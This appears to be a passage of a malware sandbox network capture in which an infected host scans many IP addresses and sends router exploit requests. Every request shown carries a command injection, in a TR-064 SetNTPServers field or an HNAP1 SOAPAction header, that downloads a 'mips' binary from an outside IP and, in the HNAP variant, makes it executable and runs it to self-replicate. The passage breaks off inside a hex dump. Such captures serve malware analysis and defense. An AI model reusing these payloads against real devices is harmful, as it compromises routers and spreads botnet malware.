Apr 15, 2024 08:52:49.425549984 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	60092	119.199.32.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.431345940 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.880467892 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:51.160868883 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:51 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	41392	121.166.94.196	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.440766096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	41364	86.181.149.181	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.468018055 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:49.778058052 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	54178	196.235.219.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.488831997 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:49.854612112 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:55 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	55674	105.158.31.110	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.499829054 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	54732	2.142.102.62	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.522979975 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	51334	107.151.208.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.578114033 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.400516033 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:51.328432083 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:53.184454918 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:56.928483009 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:04.352443933 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:19.200433969 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.432375908 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	56122	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.648528099 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:47Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	50456	74.141.209.0	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.662276030 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	45074	107.178.158.90	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:49.662300110 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:50.464473963 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:51.424436092 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:52:53.312463999 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 